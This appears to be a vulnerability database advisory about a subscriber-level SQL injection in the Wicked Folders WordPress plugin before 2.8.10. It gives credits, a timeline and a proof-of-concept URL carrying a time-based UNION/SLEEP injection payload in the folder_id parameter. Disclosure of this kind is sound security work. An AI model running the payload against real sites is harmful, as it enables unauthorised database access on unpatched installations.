WordPress Plugin Vulnerabilities

Wicked Folders < 2.8.10 - Subscriber+ SQL Injection

Description

The plugin does not sanitise and escape the folder_id parameter before using it in a SQL statement in the wicked_folders_save_sort_order AJAX action, available to any authenticated user. leading to an SQL injection

Proof of Concept

As a subscriber: https://example.com/wp-admin/admin-ajax.php?action=wicked_folders_save_sort_order&folder_id=-1%20UNION%20(SELECT%2042,42,42%20FROM%20(SELECT(SLEEP(5)))b)%20--

Affects Plugins

Fixed in 2.8.10

References

Classification

Type
SQLI
OWASP top 10
CWE
CVSS

Miscellaneous

Original Researcher
Krzysztof Zając
Submitter
Krzysztof Zając
Submitter website
Verified
Yes

Timeline

Publicly Published
2022-01-03 (about 2 years ago)
Added
2022-01-03 (about 2 years ago)
Last Updated
2022-04-12 (about 2 years ago)

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